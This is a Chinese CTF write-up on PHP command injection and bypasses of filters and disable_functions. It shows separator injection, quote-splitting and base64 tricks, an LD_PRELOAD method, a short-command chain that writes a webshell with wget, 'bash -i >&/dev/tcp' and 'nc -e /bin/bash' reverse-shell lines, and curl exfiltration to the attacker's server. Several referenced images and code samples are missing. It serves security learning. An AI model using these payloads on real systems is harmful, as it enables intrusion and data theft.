CTF练习三——命令注⼊命令执⾏绕过
这个题是第四届强⽹杯也就是2020.8.22号开始的那场⼀道简单的命令注⼊题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这⾥就不对题⽬详细介绍了,题⽬本⾝也⽐较简单,直接给了PHP源码,现学都来得及;;
感谢⼤佬的⽆私分享
在介绍命令注⼊之前,有⼀点需要注意:命令注⼊与远程代码执⾏不同。他们的区别在于,远程代码执⾏实际上是调⽤服务器⽹站代码进⾏执⾏,⽽命令注⼊则是调⽤操作系统命令进⾏执⾏。
作为CTF最基础的操作,命令执⾏的学习主要是为了以后进⼀步使⽤webshell打下基础
同样的,今天还会介绍如何使⽤各种命令执⾏绕过的⽅式
⾸先我们先来看代码执⾏
动态调⽤:
这个地⽅是ctf曾经的⼀个考点,也是我在强⽹杯出过的⼀道题⽬,叫"⾼明的⿊客",⾥⾯使⽤的就是混
淆代码+动态函数调⽤,这种写法实际上在红蓝攻防中很经常⽤到(在实际过狗和编写变形的⼀句话⽊马的时候也是经常见到),就是⼀堆函数进⾏混淆,然后在⾥⾯插⼊⼀个动态函数进⾏真正的代码执⾏或者是命令执⾏。
当时那道题⽬的灵感是来⾃于⼀场安全响应,⿊客攻陷⽹站后,在⾥头插⼊了混淆以后的代码,1000多个⽂件⾥⾯只有⼀条路径是正常执⾏的,最后是使⽤debug直接看栈内存的调⽤来判断哪个路径是真的动态调⽤。
其实就是简单的变形⼀句话;
常见的命令执⾏函数
反引号为啥也可以呢?
这个是⼤家很容易忘记的⼀个命令执⾏点,ctf赛题最近也出了很多道关于这个的题⽬。我们在第⼆篇中会拿⼀个例⼦来详细分析他的作⽤。
命令执⾏绕过
以上是我们常见的代码注⼊或者是命令注⼊的函数,但是很多时候在ctf中,出题⼈不会那么轻易的就让我们执⾏命令。因此我们必须要能够掌握多种命令执⾏绕过的姿势。
⼀般来说,遇到的⽆⾮以下两种情况:
① disable_function
这个东西很明显就是什么呢,你能够代码执⾏了,但是发现不论是蚁剑还是你⾃⼰⼿打,都执⾏不了系统命令,然后你⽤phpinfo这种函数读取后发现如下配置:
说⽩了就是开发者禁⽤了这些函数;如果查看了PHP info发现是这种情况,,解法有很多种,⽹上有很多⽂章都有写到,,直接搜索就⾏,这⾥简单介绍两种,,其中⼀种我另⼀篇博客有详细写
⼀、利⽤ld_preload
今年来⽐较少考到,但是在红蓝攻防中很经常应⽤
需要对⾯满⾜条件是:对⾯没有禁⽤mail函数(可能这也是最近⽐赛不爱考这个的原因之⼀,如果禁⽤了mail,那等于就是考察别的点了,不禁⽤mail⼜⼀堆⼈⽤这个⽅法绕过,也很没有意思)操作⽅法:
将带有命令的c⽂件编译成为.so⽂件然后通过代码执⾏传⼊(这⾥可以直接⽤蚁剑)
然后传⼊如下php⽂件
访问php⽂件就可以运⾏刚才的命令了。然后可以在/tmp/smity⽂件下看到ls的结果。
⼆、利⽤php_gc
②、命令执⾏绕过(被过滤了字符)
这个限制⼀般是题⽬中允许你使⽤system,但是很奇怪的是你却没有办法获取执⾏命令的结果
⽐如,对⾯过滤了空格,你能执⾏ls,但是没法cat读取⽂件
⽐如,对⾯过滤了flag这个词语,什么⽂件都可以读取,就是没办法读取flag
等等,都是ctf题⽬做到最后,这个出题⼈⼩⼼思故意在这⾥卡你⼀下。这个时候你就需要试试我接下来讲的这些⽅法:
空格代替
空格在bash下,可以⽤以下字符代替空格
截断符号
ctf很喜欢考的⼀点是命令执⾏的连接,这个地⽅它通常会给⼀个已有的命令执⾏,⽐如代码写好了ping命令,叫你填写⼀个ip参数这样的题⽬,这个时候就需要测试截断符号,将你输⼊的ip参数和后⾯要执⾏的命令隔开。⾸先测试所有的截断符号:
利⽤截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /这样就可以达到同时执⾏两条命令的效果
利⽤base编码绕过
这种绕过针对的是系统过滤敏感字符的时候,⽐如他过滤了cat命令,那么就可以⽤下⾯这种⽅式将cat先base64编码后再进⾏解码运⾏。
curl是什么命令
连接符,⽤两个单引号可以绕过
cat /etc/pass'w'd这个是现在很喜欢考的点之⼀,基本能通杀⼤部分命令注⼊waf因为单引号⼀旦过滤很⼤程度上会影响正常解题。
0.png
这次强⽹杯,就是⽤这个绕过对 flag 的过滤,⽤的是  fl'a'g
反斜杠利⽤
这个是很经典的hitcon题⽬,hitcon连续好⼏年出了绕过长度限制执⾏命令的题⽬
⽐如七个字符执⾏命令
七个字的命令执⾏
这⾥先介绍⼀下⼩技巧,linux下创建⽂件的命令可以⽤1>1创建⽂件名为1的空⽂件
2.png
ls>1可以直接把把ls的内容导⼊⼀个⽂件中,但是会默认追加\n
3.png
\ 在linux⾥也是个连接符,最早使⽤在屏幕不能容纳超过18个字符的第⼀代计算机,⽤于连接上下两⾏,这⾥使⽤它来绕过限制语句为wget 域名 -O shell.php
ls > a 写⼊服务器⽂件然后sh a 读取
这⾥注意.不能作为⽂件名的开头,因为linux下.是隐藏⽂件的开头,ls列不出来
然⽽这⾥还有个问题,就是ls下的⽂件名是按照字母顺序排序的,所以需要基于时间排序将最后的命令改成ls -t>a
4.png
⾄于绕过5个字符执⾏命令,绕过4个字符,那其实都是⽤\做的trick,这⾥不⼀⼀赘述了。
命令执⾏结果返回长度受限制
这次在⾼校战役上有⼀道题⽬提醒了我这个,出题⼈其实能过滤的就那么多,那么还有⼀种⽅法卡住你就是不让你看到命令执⾏的完整结果,⽐如不回显或者是回显⼀⾏,这次题⽬需要⽤道soapclient做代码执⾏,但是它有⼀点不好就是没办法回显完整,只能看到⼀⾏结果,这样对我们的命令执⾏很不⽅便,⽽且dev⽂件没有权限使⽤,这个时候我们可以⽤下⾯这个反弹shell的办法。
其实反弹shell的命令⼤家很喜欢⽤这个:
bash -i >&/dev/tcp/ip/port0>&1
但是这个有⼀点不好,他需要dev也需要bash,实际上⽤我下⾯这个命令会更简单:监听端⼝后
nc-e /bin/bash ip port
这样也可以拿到shell,其实本质是⼀样的,没有太⼤区别,只是简化了⼀下。
⼀道很经典的命令执⾏绕过
这个题⽬好像看到两次了,⼀开始⼤家都不会脑洞,后来发现这次还是好多⼈没有学会,也没有去总结poc:
两种⽅法
1.反弹shell
2.curl
反弹shell,我们这⾥可以使⽤;来连接命令,
$x;nc -e /bin/bash ip port
然后在⾃⼰服务器端⼝ nc -lvv 8080进⾏监听
但是这题要是再难⼀点,没有权限执⾏反弹shell这个操作呢
我们还可以⽤另⼀种⽅法:
curl的妙⽤
在curl⾥⾯有这⼏种⽅式
直接ip发送get包
-d发送post包
-v 显⽰整个通信过程
--data发送数据
IP为⾃⼰服务器,就可以在/var/log/apache2/access.log下看到命令执⾏的结果了。
学习到的知识点:
查看flag 的时候如果⽤cat查看不了但是确实存在的话,可以⽤ tac 查看,两者的不同之处就是 tac 是倒着查看⽂件,也就是从最后⼀⾏⽹上查看,你⽤cat查看不了的原因可能是⽂件过⼤;;

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。